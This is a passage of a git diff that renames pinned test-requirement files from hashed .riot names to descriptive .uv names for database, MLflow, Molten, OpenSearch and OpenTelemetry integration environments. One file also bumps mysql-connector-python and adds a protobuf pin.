b/.uv/contrib-mariadb--mariadb-py312-mariadb-latest-mariadb-2.txt similarity index 100% rename from .riot/requirements/1050efa.txt rename to .uv/contrib-mariadb--mariadb-py312-mariadb-latest-mariadb-2.txt diff --git a/.riot/requirements/1fc9ecc.txt b/.uv/contrib-mariadb--mariadb-py313-mariadb-1-1-2-mariadb-2.txt similarity index 100% rename from .riot/requirements/1fc9ecc.txt rename to .uv/contrib-mariadb--mariadb-py313-mariadb-1-1-2-mariadb-2.txt diff --git a/.riot/requirements/1f3b209.txt b/.uv/contrib-mariadb--mariadb-py313-mariadb-latest-mariadb-2.txt similarity index 100% rename from .riot/requirements/1f3b209.txt rename to .uv/contrib-mariadb--mariadb-py313-mariadb-latest-mariadb-2.txt diff --git a/.riot/requirements/10d1da4.txt b/.uv/contrib-mariadb--mariadb-py314-mariadb-1-1-2-mariadb-2.txt similarity index 100% rename from .riot/requirements/10d1da4.txt rename to .uv/contrib-mariadb--mariadb-py314-mariadb-1-1-2-mariadb-2.txt diff --git a/.riot/requirements/1cfa59c.txt b/.uv/contrib-mariadb--mariadb-py314-mariadb-latest-mariadb-2.txt similarity index 100% rename from .riot/requirements/1cfa59c.txt rename to .uv/contrib-mariadb--mariadb-py314-mariadb-latest-mariadb-2.txt diff --git a/.riot/requirements/e75aea6.txt b/.uv/contrib-mariadb--mariadb-py39-mariadb-1-0-0-mariadb.txt similarity index 100% rename from .riot/requirements/e75aea6.txt rename to .uv/contrib-mariadb--mariadb-py39-mariadb-1-0-0-mariadb.txt diff --git a/.riot/requirements/12c10e8.txt b/.uv/contrib-mariadb--mariadb-py39-mariadb-1-0-mariadb.txt similarity index 100% rename from .riot/requirements/12c10e8.txt rename to .uv/contrib-mariadb--mariadb-py39-mariadb-1-0-mariadb.txt diff --git a/.riot/requirements/147bedb.txt b/.uv/contrib-mariadb--mariadb-py39-mariadb-latest-mariadb.txt similarity index 100% rename from .riot/requirements/147bedb.txt rename to .uv/contrib-mariadb--mariadb-py39-mariadb-latest-mariadb.txt diff --git a/.riot/requirements/c724a8e.txt b/.uv/contrib-mlflow--mlflow-py310-mlflow-2-11-0.txt similarity index 100% rename from .riot/requirements/c724a8e.txt rename to .uv/contrib-mlflow--mlflow-py310-mlflow-2-11-0.txt diff --git a/.riot/requirements/ac53b06.txt b/.uv/contrib-mlflow--mlflow-py311-mlflow-2-11-0.txt similarity index 100% rename from .riot/requirements/ac53b06.txt rename to .uv/contrib-mlflow--mlflow-py311-mlflow-2-11-0.txt diff --git a/.riot/requirements/1927469.txt b/.uv/contrib-mlflow--mlflow-py312-mlflow-latest.txt similarity index 100% rename from .riot/requirements/1927469.txt rename to .uv/contrib-mlflow--mlflow-py312-mlflow-latest.txt diff --git a/.riot/requirements/19f9f09.txt b/.uv/contrib-mlflow--mlflow-py313-mlflow-latest.txt similarity index 100% rename from .riot/requirements/19f9f09.txt rename to .uv/contrib-mlflow--mlflow-py313-mlflow-latest.txt diff --git a/.riot/requirements/30d14f7.txt b/.uv/contrib-molten--molten-py310-molten-1-0.txt similarity index 100% rename from .riot/requirements/30d14f7.txt rename to .uv/contrib-molten--molten-py310-molten-1-0.txt diff --git a/.riot/requirements/1747b09.txt b/.uv/contrib-molten--molten-py310-molten-latest.txt similarity index 100% rename from .riot/requirements/1747b09.txt rename to .uv/contrib-molten--molten-py310-molten-latest.txt diff --git a/.riot/requirements/10bb96a.txt b/.uv/contrib-molten--molten-py311-molten-1-0.txt similarity index 100% rename from .riot/requirements/10bb96a.txt rename to .uv/contrib-molten--molten-py311-molten-1-0.txt diff --git a/.riot/requirements/16cc81d.txt b/.uv/contrib-molten--molten-py311-molten-latest.txt similarity index 100% rename from .riot/requirements/16cc81d.txt rename to .uv/contrib-molten--molten-py311-molten-latest.txt diff --git a/.riot/requirements/15fec28.txt b/.uv/contrib-molten--molten-py312-molten-1-0.txt similarity index 100% rename from .riot/requirements/15fec28.txt rename to .uv/contrib-molten--molten-py312-molten-1-0.txt diff --git a/.riot/requirements/12d24d7.txt b/.uv/contrib-molten--molten-py312-molten-latest.txt similarity index 100% rename from .riot/requirements/12d24d7.txt rename to .uv/contrib-molten--molten-py312-molten-latest.txt diff --git a/.riot/requirements/1eaf3b8.txt b/.uv/contrib-molten--molten-py313-molten-1-0.txt similarity index 100% rename from .riot/requirements/1eaf3b8.txt rename to .uv/contrib-molten--molten-py313-molten-1-0.txt diff --git a/.riot/requirements/15b8c41.txt b/.uv/contrib-molten--molten-py313-molten-latest.txt similarity index 100% rename from .riot/requirements/15b8c41.txt rename to .uv/contrib-molten--molten-py313-molten-latest.txt diff --git a/.riot/requirements/e9c65d0.txt b/.uv/contrib-molten--molten-py314-molten-1-0.txt similarity index 100% rename from .riot/requirements/e9c65d0.txt rename to .uv/contrib-molten--molten-py314-molten-1-0.txt diff --git a/.riot/requirements/92132f5.txt b/.uv/contrib-molten--molten-py314-molten-latest.txt similarity index 100% rename from .riot/requirements/92132f5.txt rename to .uv/contrib-molten--molten-py314-molten-latest.txt diff --git a/.riot/requirements/3faec3d.txt b/.uv/contrib-molten--molten-py39-molten-1-0.txt similarity index 100% rename from .riot/requirements/3faec3d.txt rename to .uv/contrib-molten--molten-py39-molten-1-0.txt diff --git a/.riot/requirements/1c40ae6.txt b/.uv/contrib-molten--molten-py39-molten-latest.txt similarity index 100% rename from .riot/requirements/1c40ae6.txt rename to .uv/contrib-molten--molten-py39-molten-latest.txt diff --git a/.riot/requirements/e610a94.txt b/.uv/contrib-mysql--mysql-py310-mysql-connector-python-8-0-28.txt similarity index 100% rename from .riot/requirements/e610a94.txt rename to .uv/contrib-mysql--mysql-py310-mysql-connector-python-8-0-28.txt diff --git a/.riot/requirements/547b36f.txt b/.uv/contrib-mysql--mysql-py310-mysql-connector-python-latest.txt similarity index 100% rename from .riot/requirements/547b36f.txt rename to .uv/contrib-mysql--mysql-py310-mysql-connector-python-latest.txt diff --git a/.riot/requirements/ea14309.txt b/.uv/contrib-mysql--mysql-py311-mysql-connector-python-8-0-31.txt similarity index 100% rename from .riot/requirements/ea14309.txt rename to .uv/contrib-mysql--mysql-py311-mysql-connector-python-8-0-31.txt diff --git a/.riot/requirements/ccffa6b.txt b/.uv/contrib-mysql--mysql-py311-mysql-connector-python-latest.txt similarity index 100% rename from .riot/requirements/ccffa6b.txt rename to .uv/contrib-mysql--mysql-py311-mysql-connector-python-latest.txt diff --git a/.riot/requirements/a273f3b.txt b/.uv/contrib-mysql--mysql-py312-mysql-connector-python-latest.txt similarity index 100% rename from .riot/requirements/a273f3b.txt rename to .uv/contrib-mysql--mysql-py312-mysql-connector-python-latest.txt diff --git a/.riot/requirements/2581b3a.txt b/.uv/contrib-mysql--mysql-py313-mysql-connector-python-latest.txt similarity index 100% rename from .riot/requirements/2581b3a.txt rename to .uv/contrib-mysql--mysql-py313-mysql-connector-python-latest.txt diff --git a/.riot/requirements/1d4ddd7.txt b/.uv/contrib-mysql--mysql-py314-mysql-connector-python-latest.txt similarity index 100% rename from .riot/requirements/1d4ddd7.txt rename to .uv/contrib-mysql--mysql-py314-mysql-connector-python-latest.txt diff --git a/.riot/requirements/fba51d6.txt b/.uv/contrib-mysql--mysql-py39-mysql-connector-python-8-0-28.txt similarity index 90% rename from .riot/requirements/fba51d6.txt rename to .uv/contrib-mysql--mysql-py39-mysql-connector-python-8-0-28.txt index a4129aa80f7..7f5ccf1d2b8 100644 --- a/.riot/requirements/fba51d6.txt +++ b/.uv/contrib-mysql--mysql-py39-mysql-connector-python-8-0-28.txt @@ -11,10 +11,11 @@ hypothesis==6.45.0 importlib-metadata==7.0.0 iniconfig==2.0.0 mock==5.1.0 -mysql-connector-python==8.0.5 +mysql-connector-python==8.0.33 opentracing==2.4.0 packaging==23.2 pluggy==1.3.0 +protobuf==3.20.3 pytest==7.4.3 pytest-cov==4.1.0 pytest-mock==3.12.0 diff --git a/.riot/requirements/9d631d9.txt b/.uv/contrib-mysql--mysql-py39-mysql-connector-python-latest.txt similarity index 100% rename from .riot/requirements/9d631d9.txt rename to .uv/contrib-mysql--mysql-py39-mysql-connector-python-latest.txt diff --git a/.riot/requirements/9fbe7fd.txt b/.uv/contrib-mysqlpython--mysqldb-py310-mysqlclient-2-1-mysqlclient.txt similarity index 100% rename from .riot/requirements/9fbe7fd.txt rename to .uv/contrib-mysqlpython--mysqldb-py310-mysqlclient-2-1-mysqlclient.txt diff --git a/.riot/requirements/e829ee8.txt b/.uv/contrib-mysqlpython--mysqldb-py310-mysqlclient-latest-mysqlclient.txt similarity index 100% rename from .riot/requirements/e829ee8.txt rename to .uv/contrib-mysqlpython--mysqldb-py310-mysqlclient-latest-mysqlclient.txt diff --git a/.riot/requirements/eb07ebb.txt b/.uv/contrib-mysqlpython--mysqldb-py311-mysqlclient-2-1-mysqlclient.txt similarity index 100% rename from .riot/requirements/eb07ebb.txt rename to .uv/contrib-mysqlpython--mysqldb-py311-mysqlclient-2-1-mysqlclient.txt diff --git a/.riot/requirements/e33edda.txt b/.uv/contrib-mysqlpython--mysqldb-py311-mysqlclient-latest-mysqlclient.txt similarity index 100% rename from .riot/requirements/e33edda.txt rename to .uv/contrib-mysqlpython--mysqldb-py311-mysqlclient-latest-mysqlclient.txt diff --git a/.riot/requirements/119ebc8.txt b/.uv/contrib-mysqlpython--mysqldb-py312-mysqlclient-2-1-mysqlclient.txt similarity index 100% rename from .riot/requirements/119ebc8.txt rename to .uv/contrib-mysqlpython--mysqldb-py312-mysqlclient-2-1-mysqlclient.txt diff --git a/.riot/requirements/31c0470.txt b/.uv/contrib-mysqlpython--mysqldb-py312-mysqlclient-latest-mysqlclient.txt similarity index 100% rename from .riot/requirements/31c0470.txt rename to .uv/contrib-mysqlpython--mysqldb-py312-mysqlclient-latest-mysqlclient.txt diff --git a/.riot/requirements/18730a4.txt b/.uv/contrib-mysqlpython--mysqldb-py313-mysqlclient-2-2-6.txt similarity index 100% rename from .riot/requirements/18730a4.txt rename to .uv/contrib-mysqlpython--mysqldb-py313-mysqlclient-2-2-6.txt diff --git a/.riot/requirements/1d96084.txt b/.uv/contrib-mysqlpython--mysqldb-py314-mysqlclient-2-2-6.txt similarity index 100% rename from .riot/requirements/1d96084.txt rename to .uv/contrib-mysqlpython--mysqldb-py314-mysqlclient-2-2-6.txt diff --git a/.riot/requirements/54b91ab.txt b/.uv/contrib-mysqlpython--mysqldb-py39-mysqlclient-2-0.txt similarity index 100% rename from .riot/requirements/54b91ab.txt rename to .uv/contrib-mysqlpython--mysqldb-py39-mysqlclient-2-0.txt diff --git a/.riot/requirements/a1ca9a5.txt b/.uv/contrib-mysqlpython--mysqldb-py39-mysqlclient-2-1-mysqlclient.txt similarity index 100% rename from .riot/requirements/a1ca9a5.txt rename to .uv/contrib-mysqlpython--mysqldb-py39-mysqlclient-2-1-mysqlclient.txt diff --git a/.riot/requirements/fce5178.txt b/.uv/contrib-mysqlpython--mysqldb-py39-mysqlclient-latest-mysqlclient.txt similarity index 100% rename from .riot/requirements/fce5178.txt rename to .uv/contrib-mysqlpython--mysqldb-py39-mysqlclient-latest-mysqlclient.txt diff --git a/.riot/requirements/10b643c.txt b/.uv/contrib-opensearch--elasticsearch-opensearch-py310-opensearch-py-requests-1-1-0.txt similarity index 100% rename from .riot/requirements/10b643c.txt rename to .uv/contrib-opensearch--elasticsearch-opensearch-py310-opensearch-py-requests-1-1-0.txt diff --git a/.riot/requirements/1b6ed54.txt b/.uv/contrib-opensearch--elasticsearch-opensearch-py310-opensearch-py-requests-2-0-0.txt similarity index 100% rename from .riot/requirements/1b6ed54.txt rename to .uv/contrib-opensearch--elasticsearch-opensearch-py310-opensearch-py-requests-2-0-0.txt diff --git a/.riot/requirements/16ac1f1.txt b/.uv/contrib-opensearch--elasticsearch-opensearch-py310-opensearch-py-requests-latest.txt similarity index 100% rename from .riot/requirements/16ac1f1.txt rename to .uv/contrib-opensearch--elasticsearch-opensearch-py310-opensearch-py-requests-latest.txt diff --git a/.riot/requirements/e8fbd30.txt b/.uv/contrib-opensearch--elasticsearch-opensearch-py311-opensearch-py-requests-1-1-0.txt similarity index 100% rename from .riot/requirements/e8fbd30.txt rename to .uv/contrib-opensearch--elasticsearch-opensearch-py311-opensearch-py-requests-1-1-0.txt diff --git a/.riot/requirements/1d282b1.txt b/.uv/contrib-opensearch--elasticsearch-opensearch-py311-opensearch-py-requests-2-0-0.txt similarity index 100% rename from .riot/requirements/1d282b1.txt rename to .uv/contrib-opensearch--elasticsearch-opensearch-py311-opensearch-py-requests-2-0-0.txt diff --git a/.riot/requirements/6d820e6.txt b/.uv/contrib-opensearch--elasticsearch-opensearch-py311-opensearch-py-requests-latest.txt similarity index 100% rename from .riot/requirements/6d820e6.txt rename to .uv/contrib-opensearch--elasticsearch-opensearch-py311-opensearch-py-requests-latest.txt diff --git a/.riot/requirements/16313f3.txt b/.uv/contrib-opensearch--elasticsearch-opensearch-py312-opensearch-py-requests-1-1-0.txt similarity index 100% rename from .riot/requirements/16313f3.txt rename to .uv/contrib-opensearch--elasticsearch-opensearch-py312-opensearch-py-requests-1-1-0.txt diff --git a/.riot/requirements/4ce4ec1.txt b/.uv/contrib-opensearch--elasticsearch-opensearch-py312-opensearch-py-requests-2-0-0.txt similarity index 100% rename from .riot/requirements/4ce4ec1.txt rename to .uv/contrib-opensearch--elasticsearch-opensearch-py312-opensearch-py-requests-2-0-0.txt diff --git a/.riot/requirements/1437520.txt b/.uv/contrib-opensearch--elasticsearch-opensearch-py312-opensearch-py-requests-latest.txt similarity index 100% rename from .riot/requirements/1437520.txt rename to .uv/contrib-opensearch--elasticsearch-opensearch-py312-opensearch-py-requests-latest.txt diff --git a/.riot/requirements/1611a53.txt b/.uv/contrib-opensearch--elasticsearch-opensearch-py313-opensearch-py-requests-1-1-0.txt similarity index 100% rename from .riot/requirements/1611a53.txt rename to .uv/contrib-opensearch--elasticsearch-opensearch-py313-opensearch-py-requests-1-1-0.txt diff --git a/.riot/requirements/6f12901.txt b/.uv/contrib-opensearch--elasticsearch-opensearch-py313-opensearch-py-requests-2-0-0.txt similarity index 100% rename from .riot/requirements/6f12901.txt rename to .uv/contrib-opensearch--elasticsearch-opensearch-py313-opensearch-py-requests-2-0-0.txt diff --git a/.riot/requirements/1b2137c.txt b/.uv/contrib-opensearch--elasticsearch-opensearch-py313-opensearch-py-requests-latest.txt similarity index 100% rename from .riot/requirements/1b2137c.txt rename to .uv/contrib-opensearch--elasticsearch-opensearch-py313-opensearch-py-requests-latest.txt diff --git a/.riot/requirements/1c25eb1.txt b/.uv/contrib-opensearch--elasticsearch-opensearch-py314-opensearch-py-requests-1-1-0.txt similarity index 100% rename from .riot/requirements/1c25eb1.txt rename to .uv/contrib-opensearch--elasticsearch-opensearch-py314-opensearch-py-requests-1-1-0.txt diff --git a/.riot/requirements/19a9a80.txt b/.uv/contrib-opensearch--elasticsearch-opensearch-py314-opensearch-py-requests-2-0-0.txt similarity index 100% rename from .riot/requirements/19a9a80.txt rename to .uv/contrib-opensearch--elasticsearch-opensearch-py314-opensearch-py-requests-2-0-0.txt diff --git a/.riot/requirements/1d86a10.txt b/.uv/contrib-opensearch--elasticsearch-opensearch-py314-opensearch-py-requests-latest.txt similarity index 100% rename from .riot/requirements/1d86a10.txt rename to .uv/contrib-opensearch--elasticsearch-opensearch-py314-opensearch-py-requests-latest.txt diff --git a/.riot/requirements/10853b3.txt b/.uv/contrib-opensearch--elasticsearch-opensearch-py39-opensearch-py-requests-1-1-0.txt similarity index 100% rename from .riot/requirements/10853b3.txt rename to .uv/contrib-opensearch--elasticsearch-opensearch-py39-opensearch-py-requests-1-1-0.txt diff --git a/.riot/requirements/1746c1c.txt b/.uv/contrib-opensearch--elasticsearch-opensearch-py39-opensearch-py-requests-2-0-0.txt similarity index 100% rename from .riot/requirements/1746c1c.txt rename to .uv/contrib-opensearch--elasticsearch-opensearch-py39-opensearch-py-requests-2-0-0.txt diff --git a/.riot/requirements/1d915ff.txt b/.uv/contrib-opensearch--elasticsearch-opensearch-py39-opensearch-py-requests-latest.txt similarity index 100% rename from .riot/requirements/1d915ff.txt rename to .uv/contrib-opensearch--elasticsearch-opensearch-py39-opensearch-py-requests-latest.txt diff --git a/.riot/requirements/a7f9374.txt b/.uv/contrib-opentelemetry--opentelemetry-py310-opentelemetry-api-1-0-0-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/a7f9374.txt rename to .uv/contrib-opentelemetry--opentelemetry-py310-opentelemetry-api-1-0-0-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/1a6ce84.txt b/.uv/contrib-opentelemetry--opentelemetry-py310-opentelemetry-api-1-15-0-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/1a6ce84.txt rename to .uv/contrib-opentelemetry--opentelemetry-py310-opentelemetry-api-1-15-0-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/8400353.txt b/.uv/contrib-opentelemetry--opentelemetry-py310-opentelemetry-api-1-26-0-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/8400353.txt rename to .uv/contrib-opentelemetry--opentelemetry-py310-opentelemetry-api-1-26-0-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/d4a8f85.txt b/.uv/contrib-opentelemetry--opentelemetry-py310-opentelemetry-api-latest-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/d4a8f85.txt rename to .uv/contrib-opentelemetry--opentelemetry-py310-opentelemetry-api-latest-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/e4226c8.txt b/.uv/contrib-opentelemetry--opentelemetry-py310-opentelemetry-exporter-otlp-1-15-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt similarity index 100% rename from .riot/requirements/e4226c8.txt rename to .uv/contrib-opentelemetry--opentelemetry-py310-opentelemetry-exporter-otlp-1-15-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt diff --git a/.riot/requirements/52cc04c.txt b/.uv/contrib-opentelemetry--opentelemetry-py310-opentelemetry-exporter-otlp-1-34-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt similarity index 100% rename from .riot/requirements/52cc04c.txt rename to .uv/contrib-opentelemetry--opentelemetry-py310-opentelemetry-exporter-otlp-1-34-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt diff --git a/.riot/requirements/6980d7a.txt b/.uv/contrib-opentelemetry--opentelemetry-py310-opentelemetry-exporter-otlp-latest-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt similarity index 100% rename from .riot/requirements/6980d7a.txt rename to .uv/contrib-opentelemetry--opentelemetry-py310-opentelemetry-exporter-otlp-latest-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt diff --git a/.riot/requirements/79de8bb.txt b/.uv/contrib-opentelemetry--opentelemetry-py311-opentelemetry-api-1-0-0-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/79de8bb.txt rename to .uv/contrib-opentelemetry--opentelemetry-py311-opentelemetry-api-1-0-0-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/33b0144.txt b/.uv/contrib-opentelemetry--opentelemetry-py311-opentelemetry-api-1-15-0-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/33b0144.txt rename to .uv/contrib-opentelemetry--opentelemetry-py311-opentelemetry-api-1-15-0-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/f957816.txt b/.uv/contrib-opentelemetry--opentelemetry-py311-opentelemetry-api-1-26-0-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/f957816.txt rename to .uv/contrib-opentelemetry--opentelemetry-py311-opentelemetry-api-1-26-0-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/17dae6a.txt b/.uv/contrib-opentelemetry--opentelemetry-py311-opentelemetry-api-latest-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/17dae6a.txt rename to .uv/contrib-opentelemetry--opentelemetry-py311-opentelemetry-api-latest-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/89f632a.txt b/.uv/contrib-opentelemetry--opentelemetry-py311-opentelemetry-exporter-otlp-1-15-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt similarity index 100% rename from .riot/requirements/89f632a.txt rename to .uv/contrib-opentelemetry--opentelemetry-py311-opentelemetry-exporter-otlp-1-15-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt diff --git a/.riot/requirements/1a8f71a.txt b/.uv/contrib-opentelemetry--opentelemetry-py311-opentelemetry-exporter-otlp-1-34-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt similarity index 100% rename from .riot/requirements/1a8f71a.txt rename to .uv/contrib-opentelemetry--opentelemetry-py311-opentelemetry-exporter-otlp-1-34-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt diff --git a/.riot/requirements/1ca3564.txt b/.uv/contrib-opentelemetry--opentelemetry-py311-opentelemetry-exporter-otlp-latest-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt similarity index 100% rename from .riot/requirements/1ca3564.txt rename to .uv/contrib-opentelemetry--opentelemetry-py311-opentelemetry-exporter-otlp-latest-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt diff --git a/.riot/requirements/11c313d.txt b/.uv/contrib-opentelemetry--opentelemetry-py312-opentelemetry-api-1-0-0-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/11c313d.txt rename to .uv/contrib-opentelemetry--opentelemetry-py312-opentelemetry-api-1-0-0-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/d819d11.txt b/.uv/contrib-opentelemetry--opentelemetry-py312-opentelemetry-api-1-15-0-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/d819d11.txt rename to .uv/contrib-opentelemetry--opentelemetry-py312-opentelemetry-api-1-15-0-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/120e7d0.txt b/.uv/contrib-opentelemetry--opentelemetry-py312-opentelemetry-api-1-26-0-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/120e7d0.txt rename to .uv/contrib-opentelemetry--opentelemetry-py312-opentelemetry-api-1-26-0-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/faa42e9.txt b/.uv/contrib-opentelemetry--opentelemetry-py312-opentelemetry-api-latest-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/faa42e9.txt rename to .uv/contrib-opentelemetry--opentelemetry-py312-opentelemetry-api-latest-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/662817c.txt b/.uv/contrib-opentelemetry--opentelemetry-py312-opentelemetry-exporter-otlp-1-15-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt similarity index 100% rename from .riot/requirements/662817c.txt rename to .uv/contrib-opentelemetry--opentelemetry-py312-opentelemetry-exporter-otlp-1-15-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt diff --git a/.riot/requirements/8e6df85.txt b/.uv/contrib-opentelemetry--opentelemetry-py312-opentelemetry-exporter-otlp-1-34-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt similarity index 100% rename from .riot/requirements/8e6df85.txt rename to .uv/contrib-opentelemetry--opentelemetry-py312-opentelemetry-exporter-otlp-1-34-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt diff --git a/.riot/requirements/1064582.txt b/.uv/contrib-opentelemetry--opentelemetry-py312-opentelemetry-exporter-otlp-latest-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt similarity index 100% rename from .riot/requirements/1064582.txt rename to .uv/contrib-opentelemetry--opentelemetry-py312-opentelemetry-exporter-otlp-latest-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt diff --git a/.riot/requirements/1ae2854.txt b/.uv/contrib-opentelemetry--opentelemetry-py313-opentelemetry-api-1-0-0-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/1ae2854.txt rename to .uv/contrib-opentelemetry--opentelemetry-py313-opentelemetry-api-1-0-0-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/121518f.txt b/.uv/contrib-opentelemetry--opentelemetry-py313-opentelemetry-api-1-15-0-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/121518f.txt rename to .uv/contrib-opentelemetry--opentelemetry-py313-opentelemetry-api-1-15-0-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/792479a.txt b/.uv/contrib-opentelemetry--opentelemetry-py313-opentelemetry-api-1-26-0-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/792479a.txt rename to .uv/contrib-opentelemetry--opentelemetry-py313-opentelemetry-api-1-26-0-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/701cd18.txt b/.uv/contrib-opentelemetry--opentelemetry-py313-opentelemetry-api-latest-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/701cd18.txt rename to .uv/contrib-opentelemetry--opentelemetry-py313-opentelemetry-api-latest-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/1a59a5f.txt b/.uv/contrib-opentelemetry--opentelemetry-py313-opentelemetry-exporter-otlp-1-15-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt similarity index 100% rename from .riot/requirements/1a59a5f.txt rename to .uv/contrib-opentelemetry--opentelemetry-py313-opentelemetry-exporter-otlp-1-15-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt diff --git a/.riot/requirements/4b40218.txt b/.uv/contrib-opentelemetry--opentelemetry-py313-opentelemetry-exporter-otlp-1-34-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt similarity index 100% rename from .riot/requirements/4b40218.txt rename to .uv/contrib-opentelemetry--opentelemetry-py313-opentelemetry-exporter-otlp-1-34-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt diff --git a/.riot/requirements/8cd7168.txt b/.uv/contrib-opentelemetry--opentelemetry-py313-opentelemetry-exporter-otlp-latest-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt similarity index 100% rename from .riot/requirements/8cd7168.txt rename to .uv/contrib-opentelemetry--opentelemetry-py313-opentelemetry-exporter-otlp-latest-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt diff --git a/.riot/requirements/1e2e9de.txt b/.uv/contrib-opentelemetry--opentelemetry-py314-markupsafe-latest-opentelemetry-api-latest.txt similarity index 100% rename from .riot/requirements/1e2e9de.txt rename to .uv/contrib-opentelemetry--opentelemetry-py314-markupsafe-latest-opentelemetry-api-latest.txt diff --git a/.riot/requirements/cb2ca5e.txt b/.uv/contrib-opentelemetry--opentelemetry-py314-markupsafe-latest-opentelemetry-exporter-otlp-latest.txt similarity index 100% rename from .riot/requirements/cb2ca5e.txt rename to .uv/contrib-opentelemetry--opentelemetry-py314-markupsafe-latest-opentelemetry-exporter-otlp-latest.txt diff --git a/.riot/requirements/e778ce8.txt b/.uv/contrib-opentelemetry--opentelemetry-py39-opentelemetry-api-1-0-0-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/e778ce8.txt rename to .uv/contrib-opentelemetry--opentelemetry-py39-opentelemetry-api-1-0-0-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/f69af7e.txt b/.uv/contrib-opentelemetry--opentelemetry-py39-opentelemetry-api-1-15-0-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/f69af7e.txt rename to .uv/contrib-opentelemetry--opentelemetry-py39-opentelemetry-api-1-15-0-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/57d2961.txt b/.uv/contrib-opentelemetry--opentelemetry-py39-opentelemetry-api-1-26-0-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/57d2961.txt rename to .uv/contrib-opentelemetry--opentelemetry-py39-opentelemetry-api-1-26-0-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/1979ceb.txt b/.uv/contrib-opentelemetry--opentelemetry-py39-opentelemetry-api-latest-markupsafe-2-0-1-opentelemetry-api.txt similarity index 100% rename from .riot/requirements/1979ceb.txt rename to .uv/contrib-opentelemetry--opentelemetry-py39-opentelemetry-api-latest-markupsafe-2-0-1-opentelemetry-api.txt diff --git a/.riot/requirements/eb2f2a5.txt b/.uv/contrib-opentelemetry--opentelemetry-py39-opentelemetry-exporter-otlp-1-15-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt similarity index 100% rename from .riot/requirements/eb2f2a5.txt rename to .uv/contrib-opentelemetry--opentelemetry-py39-opentelemetry-exporter-otlp-1-15-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt diff --git a/.riot/requirements/c9de0b6.txt b/.uv/contrib-opentelemetry--opentelemetry-py39-opentelemetry-exporter-otlp-1-34-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt similarity index 100% rename from .riot/requirements/c9de0b6.txt rename to .uv/contrib-opentelemetry--opentelemetry-py39-opentelemetry-exporter-otlp-1-34-0-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt diff --git a/.riot/requirements/1df916a.txt b/.uv/contrib-opentelemetry--opentelemetry-py39-opentelemetry-exporter-otlp-latest-markupsafe-2-0-1-opentelemetry-exporter-otlp.txt similarity index 100% rename from .riot/requirements/1df916a.txt rename to 